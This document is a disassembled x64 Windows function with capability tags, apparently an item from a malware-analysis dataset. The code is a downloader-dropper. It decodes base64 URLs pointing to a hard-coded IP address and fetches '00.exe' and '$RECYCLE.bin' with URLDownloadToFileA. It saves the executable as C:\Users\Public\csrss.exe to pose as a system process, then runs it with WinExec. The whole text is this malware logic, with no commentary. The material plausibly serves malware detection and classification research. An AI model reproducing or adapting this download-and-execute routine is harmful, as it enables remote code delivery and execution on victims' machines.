Function at 0x140001230
Capabilities:
Check if file exists
Create process on windows
Download url
Get file attributes
Receive data
Set current directory

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x40]
sub rsp, 0x140
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x38], rax
xor r12d, r12d
mov ecx, 0x30d40
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rsi, rax
mov ebx, r12d
xor edx, edx
mov r8d, 0x30d40
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
nop word [rax + rax]
mov r8d, ebx
xor edx, edx
lea rcx, str._d__d_n
call fcn.140001010
inc ebx
cmp ebx, 0x30d40
jl 0x140001290
mov ebx, r12d
mov rdi, rsi
movsx edx, byte [rdi]
mov r8d, ebx
lea rcx, str._d__d_n
call fcn.140001010
inc ebx
lea rdi, [rdi + 1]
cmp ebx, 0x12c
jl 0x1400012b1
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
xorps xmm0, xmm0
movups xmmword [rbp - 0x28], xmm0
mov qword [rbp - 0x18], 5
mov qword [rbp - 0x10], 0xf
mov eax, dword [str.1.txt]
mov dword [rbp - 0x28], eax
movzx eax, byte [0x1400033fc]
mov byte [rbp - 0x24], al
mov byte [rbp - 0x23], r12b
lea rcx, [rbp - 0x28]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x140001321
mov ebx, 1
jmp 0x1400019e9
xorps xmm0, xmm0
movups xmmword [rbp - 0x68], xmm0
mov qword [rbp - 0x58], r12
mov qword [rbp - 0x50], 0xf
mov ecx, 0x90
call fcn.140001f00
mov rcx, rax
mov qword [rbp - 0x68], rax
mov qword [rbp - 0x58], 0x8c
mov qword [rbp - 0x50], 0x8f
movaps xmm0, xmmword [str.aHR0cDovLzQzLjEzOC43Ny42MC9TQi9BL0NOTS9TSElBWUVXR0VJUUdFTkRDSU5TQUQxODI3My93aXFoZGdiYWtkYnVkYnVpd2JkdWlxZmJ1cWJkb2Z1aWZob2lxZGJ1aWYvMDAuZXhl]
movups xmmword [rax], xmm0
movaps xmm1, xmmword [0x140003410]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x140003420]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x140003430]
movups xmmword [rax + 0x30], xmm1
movaps xmm0, xmmword [0x140003440]
movups xmmword [rax + 0x40], xmm0
movaps xmm1, xmmword [0x140003450]
movups xmmword [rax + 0x50], xmm1
movaps xmm0, xmmword [0x140003460]
movups xmmword [rax + 0x60], xmm0
movaps xmm1, xmmword [0x140003470]
movups xmmword [rax + 0x70], xmm1
movsd xmm0, qword [0x140003480]
movsd qword [rax + 0x80], xmm0
mov eax, dword [0x140003488]
mov dword [rcx + 0x88], eax
mov byte [rcx + 0x8c], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
mov qword [rbp - 0x78], r12
mov qword [rbp - 0x70], 0xf
mov ecx, 0xa0
call fcn.140001f00
mov rcx, rax
mov qword [rsp + 0x78], rax
mov qword [rbp - 0x78], 0x94
mov qword [rbp - 0x70], 0x9f
movaps xmm0, xmmword [str.aHR0cDovLzQzLjEzOC43Ny42MC9TQi9BL0NOTS9TSElBWUVXR0VJUUdFTkRDSU5TQUQxODI3My93aXFoZGdiYWtkYnVkYnVpd2JkdWlxZmJ1cWJkb2Z1aWZob2lxZGJ1aWYvJFJFQ1lDTEUuYmlu]
movups xmmword [rax], xmm0
movaps xmm1, xmmword [0x1400034a0]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x1400034b0]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x1400034c0]
movups xmmword [rax + 0x30], xmm1
movaps xmm0, xmmword [0x1400034d0]
movups xmmword [rax + 0x40], xmm0
movaps xmm1, xmmword [0x1400034e0]
movups xmmword [rax + 0x50], xmm1
movaps xmm0, xmmword [0x1400034f0]
movups xmmword [rax + 0x60], xmm0
movaps xmm1, xmmword [0x140003500]
movups xmmword [rax + 0x70], xmm1
movaps xmm0, xmmword [0x140003510]
movups xmmword [rax + 0x80], xmm0
mov eax, dword [0x140003520]
mov dword [rcx + 0x90], eax
mov byte [rcx + 0x94], 0
lea r8, [rbp - 0x68]
lea rdx, [rbp + 0x18]
call fcn.140001a70
nop
lea r8, [rsp + 0x78]
lea rdx, [rbp - 8]
call fcn.140001a70
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], r12
mov qword [rsp + 0x70], 0xf
mov ecx, 0x20
call fcn.140001f00
mov rbx, rax
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x68], 0x10
mov qword [rsp + 0x70], 0x1f
movups xmm0, xmmword [str.C:UsersPublic_]
movups xmmword [rax], xmm0
mov byte [rax + 0x10], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
mov ecx, 0x20
call fcn.140001f00
mov rcx, rax
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x40], 0x19
mov qword [rsp + 0x48], 0x1f
movups xmm0, xmmword [rbx]
movups xmmword [rax], xmm0
movsd xmm0, qword [str.csrss.exe]
movsd qword [rax + 0x10], xmm0
movzx eax, byte [0x140003548]
mov byte [rcx + 0x18], al
mov byte [rcx + 0x19], 0
lea r8, [rsp + 0x30]
cmp qword [rsp + 0x48], 0xf
cmova r8, qword [rsp + 0x30]
lea rdx, [rbp + 0x18]
cmp qword [rbp + 0x30], 0xf
cmova rdx, qword [rbp + 0x18]
mov qword [rsp + 0x20], r12
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov ebx, eax
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x1400015a9
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400015a4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400015a4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001f3c
test ebx, ebx
jns 0x1400015b9
lea rdx, str.Failed_to_download_00.exe_from_URL.
jmp 0x14000175b
mov rsi, qword [rsp + 0x68]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, rsi
cmp rax, 0xc
jb 0x140001a56
lea r15, [rsp + 0x58]
cmp qword [rsp + 0x70], 0xf
cmova r15, qword [rsp + 0x58]
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
lea r14, [rsi + 0xc]
mov ebx, 0xf
lea rdi, [rsp + 0x30]
lea r13d, [rbx + 7]
cmp r14, rbx
jbe 0x140001687
mov rbx, r14
or rbx, 0xf
cmp rbx, rcx
jbe 0x14000164d
mov rbx, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140001f00
test rax, rax
je 0x140001720
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140001682
cmp rbx, r13
cmovb rbx, r13
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140001670
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140001a5c
jmp 0x14000162e
test rcx, rcx
je 0x14000167f
call fcn.140001f00
mov rdi, rax
jmp 0x140001682
mov rdi, r12
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x48], rbx
mov r8, rsi
mov rdx, r15
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
movsd xmm0, qword [str._RECYCLE.bin]
movsd qword [rdi + rsi], xmm0
mov eax, dword [0x140003580]
mov dword [rdi + rsi + 8], eax
mov byte [rdi + r14], 0
lea r8, [rsp + 0x30]
cmp qword [rsp + 0x48], 0xf
cmova r8, qword [rsp + 0x30]
lea rdx, [rbp - 8]
cmp qword [rbp + 0x10], 0xf
cmova rdx, qword [rbp - 8]
mov qword [rsp + 0x20], r12
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov ebx, eax
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x14000172c
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001727
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001727
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001f3c
test ebx, ebx
jns 0x140001739
lea rdx, str.Failed_to_download__RECYCLE.bin_from_URL.
jmp 0x14000175b
lea rcx, [rsp + 0x58]
cmp qword [rsp + 0x70], 0xf
cmova rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
test eax, eax
jne 0x140001781
lea rdx, str.Failed_to_set_current_directory.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001c50
lea rdx, [0x140001e20]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ebx, 1
jmp 0x14000185a
xorps xmm0, xmm0
movups xmmword [rbp - 0x48], xmm0
mov qword [rbp - 0x38], r12
mov qword [rbp - 0x30], 0xf
mov ecx, 0x20
call fcn.140001f00
mov rcx, rax
mov qword [rbp - 0x48], rax
mov qword [rbp - 0x38], r13
mov qword [rbp - 0x30], 0x1f
movups xmm0, xmmword [str.csrss.exe__RECYCLE.bin]
movups xmmword [rax], xmm0
mov eax, dword [0x1400035f0]
mov dword [rcx + 0x10], eax
movzx eax, word [0x1400035f4]
mov word [rcx + 0x14], ax
mov byte [rcx + 0x16], 0
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WinExec]
test eax, eax
jne 0x140001809
lea rdx, str.Failed_to_execute_command.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001c50
mov rcx, rax
lea rdx, [0x140001e20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ebx, 1
jmp 0x14000180c
mov ebx, r12d
mov rdx, qword [rbp - 0x30]
cmp rdx, 0xf
jbe 0x14000184a
inc rdx
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001845
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001845
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001f3c
mov qword [rbp - 0x38], r12
mov qword [rbp - 0x30], 0xf
mov byte [rbp - 0x48], 0
mov rdx, qword [rsp + 0x70]
cmp rdx, 0xf
jbe 0x14000189a
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001895
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001895
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001f3c
mov qword [rsp + 0x68], r12
mov qword [rsp + 0x70], 0xf
mov byte [rsp + 0x58], 0
mov rdx, qword [rbp + 0x10]
cmp rdx, 0xf
jbe 0x1400018eb
inc rdx
mov rcx, qword [rbp - 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400018e6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400018e6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001f3c
movdqa xmm0, xmmword [0x140003620]
movdqu xmmword [rbp + 8], xmm0
mov byte [rbp - 8], 0
mov rdx, qword [rbp + 0x30]
cmp rdx, 0xf
jbe 0x14000193a
inc rdx
mov rcx, qword [rbp + 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001935
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001935
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001f3c
movdqa xmm0, xmmword [0x140003620]
movdqu xmmword [rbp + 0x28], xmm0
mov byte [rbp + 0x18], 0
mov rdx, qword [rbp - 0x70]
cmp rdx, 0xf
jbe 0x14000198a
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001985
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001985
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001f3c
mov qword [rbp - 0x78], r12
mov qword [rbp - 0x70], 0xf
mov byte [rsp + 0x78], 0
mov rdx, qword [rbp - 0x50]
cmp rdx, 0xf
jbe 0x1400019d9
inc rdx
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400019d4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400019d4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001f3c
mov qword [rbp - 0x58], r12
mov qword [rbp - 0x50], 0xf
mov byte [rbp - 0x68], 0
mov rdx, qword [rbp - 0x10]
cmp rdx, 0xf
jbe 0x140001a27
inc rdx
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001a22
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001a22
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001f3c
mov eax, ebx
mov rcx, qword [rbp + 0x38]
xor rcx, rsp
call fcn.140001ee0
lea r11, [rsp + 0x140]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140001210
nop
call fcn.140001170
int3